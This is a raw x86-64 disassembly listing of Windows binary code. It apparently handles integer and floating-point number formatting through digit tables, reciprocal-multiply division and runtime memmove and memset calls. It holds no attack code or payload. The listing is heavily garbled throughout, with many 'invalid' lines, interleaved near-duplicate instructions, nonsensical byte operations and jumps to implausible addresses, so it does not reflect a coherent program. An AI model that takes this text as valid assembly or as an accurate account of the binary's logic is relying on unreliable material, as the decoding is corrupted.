movsxd rax, dword [r8 + rax*4]
add rax, r8
mov eax, eax
lea r8, [0x140174eb0]
lea eax, [0x140174eb0]
ror byte [rbp + rcx*4 + 5], 0xa1
or r8b, byte [rax]
lea eax, [0x140174eb0]
movsxd rax, dword [r8 + rax*4]
add al, 0x80
add rax, r8
sar bh, 0xe0
jmp rax
loopne 0x1400d0028
movzx eax, byte [rcx + 1]
mov byte [rsp + 0x50], al
and al, 0x50
mov dh, 0x41
add dword [r8 + 0x48502444], ecx
add dword [rax + 0x48502444], ecx
and al, 0x50
lea rax, [rsp + 0x50]
lea eax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea rax, [0x140016fe0]
hlt
invalid
hlt
mov qword [rsp + 0x30], rax
and al, 0x30
lea rax, [0x140143e38]
jmp 0x1400d04e3
sti
cmp eax, 0xa1e90007
invalid
add cl, ch
invalid
add al, 0
add byte [rax - 0x77], cl
mov ecx, ebx
invalid
mov rcx, rbx
mov ecx, ebx
shr rcx, 0x34
test rbx, rbx
test ebx, ebx
jmp 0x11b924880
test ebx, ebx
fstp xword [rax + 0x10]
js case.0x1400b4145.215
adc byte [rbp + 0x31], al
leave
xor r9d, r9d
xor ecx, ecx
and ecx, 0x7ff
add byte [rax], al
test rax, rax
je 0x1400d0074
jmp 0x1400d0098
mov byte [rsp + 0x28], 0x2d
mov r9d, 1
and al, 0x28
sub eax, 0x1b941
sub byte [0x1400eb9a8], ch
add byte [rax], al
and ecx, 0x7ff
inc dword [rdi]
add byte [rax], al
test rax, rax
jne 0x1400d0098
invalid
and al, 0x85
test ecx, ecx
leave
jne 0x1400d0098
and byte [rdx - 0x3a], al
mov byte [rsp + r9 + 0x2a], 0x30
mov word [rsp + r9 + 0x28], 0x2e30
mov dword [rsp + r9 + 0x28], 0xc1482e30
jmp case.0x1400aadb0.235
or al, 0x2a
xor byte [rsi + 0x42], ah
mov dword [rsp + rcx + 0x28], 0xc1482e30
invalid
mov dword [rsp + r9 + 0x28], 0xc1482e30
shr ebx, 0x3f
jmp case.0x1400aadb0.235
invalid
add rbx, 3
add ebx, 3
lea rax, [rsp + 0x28]
lea eax, [rsp + 0x28]
and al, 0x28
jmp case.0x1400c36e0.161
or dword [rax], eax
add byte [rcx + rcx*4 + 0x4c], cl
mov qword [rsp + 0x40], r9
mov dword [rsp + 0x40], ecx
and al, 0x40
mov qword [rsp + 0x48], rdx
lea edx, [rcx - 0x435]
test ecx, ecx
mov r9d, 0xfffffbcc
mov ecx, 0xfffffbcc
xchg ecx, eax
retf
sti
invalid
mov ecx, 0xfffffbcc
sti
invalid
inc dword [rdi + rcx + 0x45]
retf 0x8d49
invalid
cmovne r9d, edx
lea rdx, [r8 + rax + 1]
lea edx, [rax + rax + 1]
lea edx, [rax + rax + 1]
push rsp
add byte [rcx], al
cmove rdx, rax
mov qword [rsp + 0x90], rdx
xchg esp, eax
and al, 0x90
nop
add byte [rax], al
invalid
xchg esp, eax
and al, 0x90
nop
nop
add byte [rax], al
add byte [rbp + rcx*4 + 0x1c], cl
sbb al, 0x95
add byte [rax], al
lea r11, [rdx*4]
sbb al, 0x95
add byte [rax], al
add byte [rax], al
test rax, rax
setne al
xchg ebp, eax
rol byte [rbx + 0xf4102f9], 0x92
invalid
rol byte [rbx + 0xf4102f9], 0x92
add al, byte [rcx + 0xf]
xchg edx, eax
setb ah
invalid
or r12b, al
or ah, al
movabs rbp, 0xcccccccccccccccd
movzx r13d, r12b
mov dh, 0xec
int 0xcc
int3
int3
int3
int3
mov dh, 0xec
test r9d, r9d
js case.0x1400c36e0.162
mov byte [rbx], ch
add dword [rax], eax
invalid
mov byte [rbx], ch
add dword [rax], eax
add byte [rbp + 0x69], al
stc
xor al, 1
add dword [rax], eax
invalid
invalid
imul r15d, r9d, 0x13441
add dword [rax], eax
shr r15d, 0x12
out dx, eax
adc al, byte [rcx - 0x7d]
invalid
invalid
cmp r9d, 4
adc r15d, 0xffffffff
xlatb
invalid
stc
add al, 0x41
adc edi, 0xffffffff
xlatb
invalid
xlatb
inc dword [rcx + 0x69]
invalid
imul eax, r15d, 0x12934f
xchg ebx, eax
adc al, byte [rax]
invalid
add cl, al
shr eax, 0x13
call 0x139964527
mov ecx, r15d
sub ecx, r9d
leave
add ecx, eax
mov rax, r15
clc
clc
shl rax, 4
lea rdx, [0x1401412a0]
jns 0x1400d0136
invalid
invalid
add al, 0x48
lea edx, [0x1401412a0]
jns 0x1400d0136
invalid
invalid
jns 0x1400d0136
invalid
mov rdi, qword [rax + rdx]
cmp al, 0x10
adc byte [rbx + rcx*4 + 0x44], cl
adc byte [rax], cl
invalid
mov r8, qword [rax + rdx + 8]
adc byte [rax], r9b
or byte [rbp - 0x77], cl
fmul qword [rcx - 0x7d]
invalid
invalid
mov r12, r11
or r12, 2
mov rax, rdi
int3
add cl, byte [rax - 0x77]
clc
mul r12
mov r9, rdx
mov rax, r8
mov eax, eax
mov eax, eax
mul r12
mov r10, rdx
mov edx, edx
mov rsi, rax
add rsi, r9
adc r10, 0
rol byte [rax], cl
invalid
rol byte [rax], cl
add cl, 0x7d
and cl, 0x7f
jge case.0x1400b4145.225
loope 0x1400d01d8
xor cl, 0x40
shrd rsi, r10, cl
invalid
shrd rsi, r10, cl
invalid
shr r10, cl
mov r9, r13
not r9
not ecx
jmp 0x18ddef8b3
not ecx
add r9, r11
add ecx, ebx
mov rax, rdi
mul r9
mov r14, rdx
loope 0x1400d01bc
mov esi, edx
mov rax, r8
mul r9
ror byte [rcx - 9], 0xe1
mov r9, rdx
mov rbx, rax
add rbx, r14
adc r9, 0
adc ecx, 0
adc ecx, 0
add byte [rdi + rcx - 0x53], cl
shrd rbx, r9, cl
shrd ebx, ecx, cl
retf
shr r9, cl
mov rax, rdi
mul r11
mov rdi, rdx
mov rax, r8
mov eax, eax
mul r11
mov r8, rdx
mov eax, edx
mov eax, edx
add rax, rdi
clc
adc r8, 0
shrd rax, r8, cl
shr r8, cl
shr eax, cl
add byte [rdi + rcx - 0x53], cl
ror byte [rcx - 0x2d], 0xe8
shr eax, cl
shr eax, cl
test cl, 0x40
cmove r10, rsi
cmove edx, esi
cmove edx, esi
cmove r9, rbx
cmove ecx, ebx
cmove r8, rax
cmove eax, eax
cmp r15d, 0x16
jae 0x1400d05b4
add eax, dword [rax]
invalid
invalid
add eax, dword [rax]
add byte [rax - 0x47], cl
xor al, 0x33
xor esi, dword [rbx]
xor esi, dword [rbx]
xor esi, dword [rbx]
invalid
movabs rcx, 0x3333333333333334
xor esi, dword [rbx]
xor esi, dword [rbx]
xor esi, dword [rbx]
xor ecx, dword [rcx + rcx*4 - 0x28]
mov rax, r11
mul rcx
movabs rax, 0x3333333333333333
mov eax, 0x33333333
xor esi, dword [rbx]
xor esi, dword [rbx]
xor esi, dword [rbx]
xor esi, dword [rbx]
xor ecx, dword [rbp + 0x3944920c]
or al, 0x92
cmp ecx, r11d
lea ecx, [rdx + rdx*4]
or al, 0x92
cmp ecx, r11d
jne 0x1400d0552
test dword [rbx + rax], esp
invalid
mov ecx, 0xffffffff
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
invalid
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x51], cl
invalid
imul r11, rbp
inc ecx
cmp r11, rax
jbe 0x1400d0200
cmp ecx, r15d
jb 0x1400d05b4
invalid
invalid
add eax, dword [rax]
invalid
invalid
mov sil, 1
xor r12d, r12d
in al, 0xe9
js case.0x1400b9f4a.168
add byte [rax], al
in al, 0xe9
js case.0x1400b9f4a.168
add byte [rax], al
imul esi, r9d, 0xfff4d105
shr esi, 0x14
out dx, al
adc al, 0x31
rol byte [rcx - 0x7d], 0xf9
dec dword [rdi]
xchg ebp, eax
shr byte [rcx], 0xc6
int1
add eax, 0xc1fff4d1
out dx, al
adc al, 0x31
rol byte [rcx - 0x7d], 0xf9
dec dword [rdi]
xchg ebp, eax
shr byte [rcx], 0xc6
add r9d, esi
add ecx, esi
mov eax, r9d
neg eax
fadd dword [rcx + rcx*4 + 0x4c]
and al, 0x24
fadd dword [rcx + rcx*4 + 0x4c]
and al, 0x24
imul edx, r9d, 0x3ed6cb1
shr edx, 0x13
mov ecx, esi
sub ecx, edx
shl rax, 4
lea rdx, [0x140142800]
mov rbx, qword [rax + rdx]
mov r8, qword [rax + rdx + 8]
mov r10, r11
or r10, 2
mov rax, rbx
mov eax, ebx
mov eax, ebx
mul r10
mov r9, rdx
mov rax, r8
ror byte [rcx - 9], 0xe2
ror byte [rcx - 9], 0xe2
mov r10, rdx
mov rdi, rax
add rdi, r9
adc r10, 0
add cl, 0x7c
and cl, 0x7f
xor cl, 0x40
shrd rdi, r10, cl
shr r10, cl
not r13
add r13, r11
mov rax, rbx
mul r13
mov r15, rdx
mov rax, r8
mul r13
mov r9, rdx
mov r14, rax
add r14, r15
adc r9, 0
shrd r14, r9, cl
shr r9, cl
mov rax, rbx
mul r11
mov rbx, rdx
mov rax, r8
mul r11
mov r8, rdx
add rax, rbx
adc r8, 0
shrd rax, r8, cl
shr r8, cl
test cl, 0x40
cmove r10, rdi
cmove r9, r14
cmove r8, rax
cmp esi, 2
jae 0x1400d0525
mov rax, qword [rsp + 0x90]
and eax, 1
sete cl
and r12b, cl
sub r10, rax
mov sil, 1
jmp 0x1400d069f
lea rdx, [0x140143f14]
mov r8d, 0xd
jmp case.0x1400a9a80.250
jmp 0x1400d04e3
mov rax, qword [rcx + 8]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea rax, [fcn.140012c90]
mov qword [rsp + 0x30], rax
lea rax, str.integer__
test dword [rcx], edi
invalid
invalid
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 2
mov qword [rsp + 0x80], 0
lea rax, [rsp + 0x28]
jmp 0x1400d0a06
cmp esi, 0x3f
jae 0x1400d0584
mov rax, 0xffffffffffffffff
mov ecx, esi
shl rax, cl
not rax
test r11, rax
mov r15, qword [rsp + 0x40]
mov ebx, dword [rsp + 0x24]
jne 0x1400d05bc
mov sil, 1
xor r12d, r12d
jmp 0x1400d06a4
test byte [rsp + 0x90], 1
je 0x1400d058f
mov ecx, 0xffffffff
nop word cs:[rax + rax]
imul r12, rbp
inc ecx
cmp r12, rax
jbe 0x1400d0570
cmp ecx, r15d
adc r10, 0xffffffffffffffff
jmp 0x1400d05b4
mov r15, qword [rsp + 0x40]
mov ebx, dword [rsp + 0x24]
jmp 0x1400d05bc
not r13
add r13, r11
mov ecx, 0xffffffff
nop word [rax + rax]
imul r13, rbp
inc ecx
cmp r13, rax
jbe 0x1400d05a0
cmp ecx, r15d
jae 0x1400d0692
mov ebx, r15d
mov r15, qword [rsp + 0x40]
mov rax, r10
shr rax, 2
movabs rdi, 0x28f5c28f5c28f5c3
mul rdi
mov r11, rdx
shr r11, 2
mov rax, r9
shr rax, 2
mul rdi
mov rcx, rdx
shr rcx, 2
xor esi, esi
cmp r11, rcx
jbe 0x1400d0615
mov rax, r8
shr rax, 2
mul rdi
shr rdx, 2
imul eax, edx, 0xffffff9c
add eax, r8d
cmp eax, 0x32
setae sil
mov r14d, 2
mov r8, rdx
jmp 0x1400d061e
xor r14d, r14d
mov rcx, r9
mov r11, r10
mov rax, r11
mul rbp
mov r9, rdx
mov rax, rcx
mul rbp
shr r9, 3
shr rdx, 3
cmp r9, rdx
jbe 0x1400d0684
nop word [rax + rax]
mov r10, r8
mov rcx, rdx
mov rax, r8
mov eax, eax
mov eax, eax
mul rbp
mov r8, rdx
shr r8, 3
inc r14d
mov rax, r9
mov eax, ecx
mov eax, ecx
mul rbp
mov r9, rdx
mov rax, rcx
mul rbp
shr r9, 3
shr rdx, 3
cmp r9, rdx
ja 0x1400d0640
lea eax, [r8 + r8]
lea eax, [rax + rax*4]
add al, 0x80
add al, 0x80
sub r10d, eax
cmp r10d, 5
setae sil
cmp r8, rcx
sete al
or al, sil
jmp 0x1400d07f1
mov r12b, 1
xor esi, esi
mov eax, r15d
mov dword [rsp + 0x24], r15d
mov r15, qword [rsp + 0x40]
mov rax, r10
mul rbp
mov r11, rdx
shr r11, 3
mov rax, r9
mul rbp
shr rdx, 3
xor edi, edi
xor r14d, r14d
cmp r11, rdx
jbe 0x1400d072c
xor ebx, ebx
nop word [rax + rax]
mov rcx, rdx
lea edi, [rdx + rdx]
mov rax, r8
mul rbp
mov r10, rdx
lea eax, [rdi + rdi*4]
mov edi, 0x3eac149
mov edi, 0x3eac149
lea edx, [r10 + r10]
lea edi, [rdx + rdx*4]
cmp al, 0x92
neg edi
add dil, r8b
cmp eax, r9d
sete al
and r12b, al
test bl, bl
sete al
and sil, al
and dh, al
mov rax, r11
mul rbp
inc r14d
mov r11, rdx
shr r11, 3
mov rax, rcx
mul rbp
shr rdx, 3
mov r8, r10
mov r9, rcx
mov ecx, ecx
mov ebx, edi
cmp r11, rdx
sal dword [rdi - 0x5a], cl
sal dword [rdi - 0x5a], cl
jmp 0x1400d0732
mov rcx, r9
mov r10, r8
xor r12b, 1
jne 0x1400d07aa
invalid
add dword [rbp + 0x72], esi
mov rax, rcx
mov eax, ecx
mul rbp
mov r9, rdx
shr r9, 3
lea eax, [r9 + r9]
lea eax, [rax + rax*4]
cmp eax, ecx
mov ebx, dword [rsp + 0x24]
and al, 0x75
invalid
and al, 0x75
invalid
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
mov rax, r10
mul rbp
mov r8, rdx
shr r8, 3
lea eax, [r8 + r8]
lea r11d, [rax + rax*4]
neg r11d
add r11b, r10b
test dil, dil
sete al
and sil, al
inc r14d
mov rax, r9
mul rbp
shr rdx, 3
lea eax, [rdx + rdx]
lea eax, [rax + rax*4]
mov rcx, r9
mov r10, r8
or byte [rcx + rcx*4 - 0x37], 0x4d
mov edx, eax
mov edi, r11d
cmp eax, r9d
mov r9, rdx
invalid
je 0x1400d0760
sal dword [rax + rdi*4 - 0x15], 1
adc al, byte [rcx - 0x77]
sti
jmp 0x1400d07bc
mov r11d, edi
mov r8, r10
mov ebx, dword [rsp + 0x24]
and al, 0x24
jmp 0x1400d07bc
mov r11d, edi
mov r8, r10
mov eax, r8d
and al, 1
or al, 4
cmp r11b, 5
movzx edx, r11b
mov dh, 0xd3
movzx eax, al
cmovne eax, edx
test sil, sil
cmove eax, edx
cmp r8, rcx
sete cl
mov rdx, qword [rsp + 0x90]
or dl, r12b
invalid
xchg esp, eax
and al, 0x90
add byte [rax], al
add byte [rax + rcx - 0x1e], al
or dl, r12b
invalid
loop 0x1400d0809
and dl, cl
cmp al, 5
setae al
or al, dl
add r14d, ebx
movzx ecx, al
add rcx, r8
sar dword [rax + 0x11], 0x48
mov edx, 0x6fc0ffff
invalid
inc eax
outsd dx, dword [rsi]
xacquire xchg byte [rbx], ah
and eax, dword [rax]
sar dword [rax + 0x11], 0x48
mov edx, 0x6fc0ffff
invalid
inc eax
outsd dx, dword [rsi]
xacquire xchg byte [rbx], ah
and eax, dword [rax]
cmp rcx, rdx
ja 0x1400d091b
mov eax, 0x10
and eax, dword [rax]
cmp rcx, rdx
ja 0x1400d091b
mov eax, 0x10
add byte [rax], al
movabs rdx, 0x38d7ea4c67fff
cmp rcx, rdx
ja 0x1400d091b
mov eax, 0xf
movabs rdx, 0x5af3107a3fff
cmp rcx, rdx
ja 0x1400d091b
invalid
mov rdx, rcx
shr rdx, 0xd
mov eax, 0xe
cmp rdx, 0x48c27394
ret 0xf48
xchg eax, eax
add byte [rax], al
invalid
add byte [rax - 0x7f], cl
cli
xchg esp, eax
jae 0x1400d0816
invalid
ret 0xf48
xchg eax, eax
add byte [rax], al
add byte [rax - 0x77], cl
retf 0xc148
invalid
invalid
mov rdx, rcx
shr rdx, 0xc
mov eax, 0xd
or eax, 0x48000000
cmp edx, 0xe8d4a50
invalid
or eax, 0x48000000
cmp edx, 0xe8d4a50
invalid
cli
push rax
lea rcx, [rsi]
invalid
invalid
ja 0x1400d091b
add byte [rax - 0x77], cl
mov rdx, rcx
shr rdx, 0xb
or edi, dword [rax + 0xc]
add byte [rax], al
add byte [rax - 0x7f], cl
cli
fmul qword [rsi]
jmp 0xce94178c
add byte [rax], al
invalid
retf 0xc148
add byte [rax], al
add byte [rax - 0x7f], cl
cli
fmul qword [rsi]
jmp 0xce94178c
mov es, word [rax]
add byte [rax], al
mov rdx, rcx
mov edx, ecx
shr rdx, 0xa
mov eax, 0xb
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
cmp rdx, 0x9502f8
ja 0x1400d091b
add dl, byte [rbp - 0x47868900]
jns 0x1400d085b
mov eax, 0xa
or al, byte [rax]
add byte [rax], al
cmp rcx, 0x3b9ac9ff
ja 0x1400d091b
dec ecx
invalid
mov eax, 9
add byte [rax], al
cmp rcx, 0x5f5e0ff
ja 0x1400d091b
pop rbp
loopne 0x1400d08b0
pop rbp
mov eax, 8
add byte [rax], al
cmp rcx, 0x98967f
ja 0x1400d091b
xchg esi, eax
cwde
add byte [rdi + 0x4f], dh
mov eax, 7
invalid
cmp rcx, 0xf423f
ja 0x1400d091b
invalid
invalid
mov r8d, 6
mov eax, 6
invalid
add byte [rax], al
cmp rcx, 0x1869f
ja 0x1400d091b
lahf
xchg byte [rcx], al
add byte [rdi + 0x33], dh
mov eax, 5
add eax, 0x48000000
cmp ecx, 0x270f
invalid
add byte [rax], al
cmp rcx, 0x270f
invalid
ja 0x1400d091b
and eax, 0x4b8
add byte [rax - 0x7f], cl
stc
mov eax, 4
add al, 0
add byte [rax], al
cmp rcx, 0x3e7
out 3, eax
add byte [rax], al
ja 0x1400d091b
mov eax, 3
add eax, dword [rax]
add byte [rax], al
cmp rcx, 0x63
stc
invalid
ja 0x1400d091b
cmp rcx, 0xa
mov eax, 1
add byte [rax], al
invalid
stc
or bh, byte [rax + 1]
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx - 0x38760028], al
sbb eax, 0xffffffff
mov edi, eax
movsxd rbx, r14d
lea rsi, [rdi + rbx]
lea esi, [rdi + rbx]
fimul word [rax - 0x73]
xor al, 0x1f
lea esi, [rdi + rbx]
test ebx, ebx
js 0x1400d0968
fstp xword [rax + 0x40]
cmp rsi, 0x11
cmp esi, 0x11
jge 0x1400d0968
cmp cl, byte [rdx - 0x73]
add al, 0x3c
invalid
lea rax, [rsp + r15]
cmp al, 0x48
add rax, 0x28
add eax, 0x28
add rdi, rax
mov rdx, rdi
call fcn.1400cf170
invalid
invalid
invalid
invalid
invalid
test r14d, r14d
je 0x1400d0953
invalid
or eax, 0xb2f98948
xor byte [rcx - 0x77], cl
mov rcx, rdi
mov dl, 0x30
mov r8, rbx
fsubr st(0)
invalid
add eax, dword es:[rax]
fsubr st(0)
mov edx, 0x4a000326
lea eax, [rsi + rdi]
add byte [rdx - 0x73], cl
add al, 0x3e
lea rax, [rsi + r15]
mov word [rsp + rax + 0x28], 0x302e
lea rbx, [rsi + r15]
invalid
add al, 0x28
xor byte cs:[rdx - 0x73], cl
xor byte [rdx - 0x73], cl
xor byte [rdx - 0x73], cl
sbb al, 0x3e
add rbx, 2
add rbx, 2
add ebx, 2
add ch, bl
lea rbx, [rsi - 1]
lea ebx, [rsi - 1]
jmp case.0x140094a12.387
lea rbx, [rsi - 1]
lea ebx, [rsi - 1]
cmp rbx, 0x10
jae 0x1400d0a3b
invalid
sti
adc byte [rdi], cl
add ebp, 0
add byte [rax], al
invalid
add byte [rcx - 0x73], cl
add al, 0x3f
invalid
lea rax, [r15 + rdi]
invalid
lea rbx, [r15 + rdi]
inc rbx
invalid
lea rdx, [rsp + rax]
add rdx, 0x29
call fcn.1400cf170
lea rdi, [rsp + r15]
cmp al, 0x48
add edi, 0x28
loop 0x1400d0973
cmp al, 0x48
add edi, 0x28
sub byte [rdx - 0x73], cl
adc al, 0x3c
invalid
lea rdx, [rsp + r15]
cmp al, 0x48
add edx, 0x29
invalid
add rdx, 0x29
sub dword [rax - 0x77], ecx
stc
mov rcx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memmove
pop rax
add eax, dword es:[rax]
pop rax
add eax, dword es:[rax]
add eax, dword [rax]
mov byte [rsi + rdi], 0x2e
add al, 0x3e
lea rax, cs:[rsp + 0x28]
lea rax, [rsp + 0x28]
lea rax, [rsp + 0x28]
sub byte [rax - 0x75], cl
push rsp
mov rdx, qword [rsp + 0x48]
and al, 0x48
mov qword [rsp + 0x50], rax
and al, 0x50
and al, 0x50
mov qword [rsp + 0x58], rbx
mov dword [rsp + 0x58], ebx
lea rax, [rsp + 0x50]
lea eax, [rsp + 0x50]
mov qword [rsp + 0x98], rax
lea rax, case.0x14002c50d.380
wait
invalid
idiv bh
and al, 0x98
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfff61d9b
wait
invalid
idiv bh
wait
sbb eax, 0x8948fff6
invalid
invalid
test byte [rax + riz*4], ah
invalid
mov qword [rsp + 0xa0], rax
mov dword [rsp + 0xa0], eax
movabs al, byte [0x4354058d48000000]
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, str.floating_point___
lea rax, str.floating_point___
lea eax, [0x140144d38]
invalid
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x60], eax
and al, 0x60
mov qword [rsp + 0x68], 2
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
and al, 0x80
mov qword [rsp + 0x80], 0
mov dword [rsp + 0x80], 0
and al, 0x80
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
test byte [rax + rbx*4], ah
and al, 0x98
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x98]
and al, 0x98
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x70
invalid
mov qword [rsp + 0x70], rax
jo 0x1400d0a54
mov qword [rsp + 0x78], 1
mov dword [rsp + 0x78], 1
and al, 0x78
and al, 0x78
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x60]
push rdx
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x60
call fcn.140013960
nop
add rsp, 0xa8
invalid
test al, 0
add byte [rax], al
invalid
invalid
test al, 0
add byte [rax], al
invalid
add byte [rbx + 0x5d], bl
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, [rsi + 4]
cmp rax, 5
invalid
add eax, 0x42665f73
mov dword [rsp + rdi + 0x28], 0x2bb2e30
cmp al, 0x28
xor byte [rsi], ch
invalid
invalid
jae 0x1400d0aa4
mov word [rsp + r15 + 0x28], 0x2e30
mov dword [rsp + r15 + 0x28], 0x2bb2e30
cmp al, 0x28
xor byte [rsi], ch
sub byte [rax], dh
mov ebx, 2
mov ebx, 2
mov ebx, 2
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax + 0x29], cl
invalid
invalid
sub rbx, rsi
test rsi, rsi
test rsi, rsi
jns 0x1400d0a84
lea rax, [rsp + r15]
add rax, 0x2a
sub cl, byte [rax - 0x7d]
sti
cmp rbx, 4
add al, 0x41
mov eax, 3
add byte [rax], al
invalid
mov r8d, 3
add byte [rax], al
add byte [rdi + rcx + 0x4d], cl
ret
add byte [rax], al
cmovge r8, rbx
add r8, 0xfffffffffffffffe
mov rsi, rcx
mov esi, ecx
ret
mov rcx, rax
mov dl, 0x30
call sub.VCRUNTIME140.dll_memset
invalid
invalid
add eax, dword [rax]
mov word [0xc9550a86], fs
and eax, 0x89480003
add eax, dword [rax]
mov rcx, rsi
mov ecx, esi
int1
add r15, rdi
add edi, edi
dec dword [rcx + 1]
fisttp word [rdx - 0x73]
lea rdx, [rsp + r15]
add r15, rbx
lea rdx, [rsp + r15]
add rdx, 0x28
add edx, 0x28
call fcn.1400cf170
lea rax, [rsp + 0x28]
and al, 0x28
dec dword [rax - 0x73]
and al, 0x28
and al, 0x28
mov rbx, r15
mov ebx, edi
sti
jmp 0x1400d09b2
invalid
invalid
inc dword [rbx + 0x257501ff]
cmp edi, 1
jne case.0x140094a12.382
add dword [rbp + 0x25], esi
add cl, 0x30
mov byte [rsp + r15 + 0x28], cl
mov byte [rsp + r15 + 0x29], 0x65
mov byte [rsp + rdi + 0x29], 0x65
mov byte [rsp + rdi + 0x29], 0x65
sub dword [rbp + 0x4a], esp
lea eax, [rsp + rdi]
add al, 0x3c
lea rax, gs:[rsp + r15]
lea rax, [rsp + r15]
add al, 0x3c
cmp al, 0x48
add eax, 0x2a
invalid
invalid
add rax, 0x2a
shr byte [rdx], 0x48
test esi, esi
sub cl, byte [rax - 0x7b]
test byte [rax - 0x75], 0x54
invalid
invalid
push rsp
test rsi, rsi
mov rdx, qword [rsp + 0x48]
and al, 0x48
jle 0x1400d0b0b
jle 0x1400d0b0b
mov rcx, rbx
jmp case.0x1400aa870.265
lea r14, [r15 + rdi]
invalid
lea rdx, [rsp + r14]
lea edx, [rsp + rsi]
xor al, 0x48
add edx, 0x29
invalid
add rdx, 0x29
sub eax, ebp
xchg ecx, eax
out 0xff, al
call fcn.1400cf170
movzx eax, byte [rsp + r15 + 0x29]
mov dh, 0x44
cmp al, 0x29
inc dword [rdx + 0xf]
mov dh, 0x44
cmp al, 0x29
cmp al, 0x29
mov byte [rsp + r15 + 0x28], al
cmp al, 0x28
mov byte [rsp + r15 + 0x29], 0x2e
cmp al, 0x29
mov byte cs:[rsp + r14 + 0x29], 0x65
mov byte [rsp + rsi + 0x29], 0x65
sub dword [rsi], ebp
mov byte [rsp + r14 + 0x29], 0x65
mov byte [rsp + rsi + 0x29], 0x65
xor al, 0x29
lea rcx, gs:[rsp + r14]
lea rcx, [rsp + r14]
add rcx, 0x2a
sub cl, byte [rax - 0x7b]
idiv byte [rsi + 0x7f]
jle case.0x14009f75c.297
test rsi, rsi
jle case.0x14009f75c.297
mov r8, rbx
jmp case.0x1400b5866.216
add byte [rax], al
mov byte [rax], 0x2d
sub eax, 0xb9c0ff48
inc rax
mov ecx, 1
add dword [rax], eax
add byte [rax], al
sub rcx, rsi
sub ecx, esi
or r15, 2
or edi, 2
cmp rcx, 0x63
jbe 0x1400d0b5c
invalid
cmp dword [rcx - 0x77], eax
mov r8d, ecx
enter 0x694d, 0xffffffffffffffc0
imul r8, r8, 0x51eb851f
invalid
jmp 0x1400d0b7e
shr r8, 0x25
shr eax, 0x25
lea r9d, [r8 + 0x30]
lea ecx, [rax + 0x30]
mov byte [rax], r9b
mov byte [rax], cl
imul r8d, r8d, 0x64
imul eax, eax, 0x64
sub ecx, r8d
ror dword [rbp + rcx*4 + 5], 0x1a
xor dword [rdi], eax
lea r8, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_l
add eax, 0x7311a
add byte [rcx + 0xf], al
mov bh, 0xc
invalid
movzx ecx, word [r8 + rcx*2]
or al, 0x48
mov word [rax + 1], cx
mov word [rax + 1], cx
add qword [rax - 0x3f], rcx
add dword [rax - 0x3f], ecx
shr rbx, 0x3f
add rbx, 3
ret
add ebp, ecx
stosd dword [rdi], eax
add byte [rax], al
invalid
jmp 0x1400d0b92
invalid
ret
add byte [rax], al
add byte [rax - 0x7d], cl
cmp rcx, 9
cmp ecx, 9
stc
or dword [rdi], ecx
jbe 0x1400d0bfb
xchg byte [rbp + 0x4c000000], dl
lea eax, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_l
xor byte [rdi], al
invalid
add byte [rbp + rcx*4 + 5], cl
lea r8, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_l
xor byte [rdi], al
xor byte [rdi], al
add byte [rcx + 0xf], al
movzx ecx, word [r8 + rcx*2]
movzx ecx, word [rax + rcx*2]
mov bh, 0xc
mov word [rax], cx
mov word [rax], cx
shr rbx, 0x3f
or rbx, 2
jmp 0x1400d0c07
test dword [rax], eax
add byte [rax], al
invalid
add dh, al
add dword [0x181cf0ad1], ebp
inc ecx
invalid
mov byte [rcx], 0x2d
inc rcx
inc ecx
mov r8d, 1
mov eax, 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rcx + 0x29], cl
invalid
sub r8, rsi
mov rdx, qword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
lea rax, [r15 + rdi]
lea rax, [r15 + rdi]
invalid
add rax, 2
add cl, byte [rcx - 0x7d]
clc
cmp r8, 0x63
cmp eax, 0x63
invalid
jbe 0x1400d0bdb
mov r9d, r8d
mov ecx, eax
ror dword [rbp + 0x69], 0xc9
imul r9, r9, 0x51eb851f
leave
invalid
push rcx
shr r9, 0x25
and eax, 0x30518d45
lea r10d, [r9 + 0x30]
lea edx, [rcx + 0x30]
xor byte [rax + rcx*4 + 0x11], al
mov byte [rcx], r10b
imul r9d, r9d, 0x64
imul ecx, ecx, 0x64
sub r8d, r9d
sub eax, ecx
lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_l
lea ecx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_l
or eax, 0x73099
invalid
movzx r8d, word [r9 + r8*2]
mov word [rcx + 1], r8w
mov dword [rcx + 1], r8d
mov bh, 4
mov word [rcx + 1], r8w
mov dword [rcx + 1], r8d
mov dword [rcx + 1], r8d
shr rbx, 0x3f
add rbx, 3
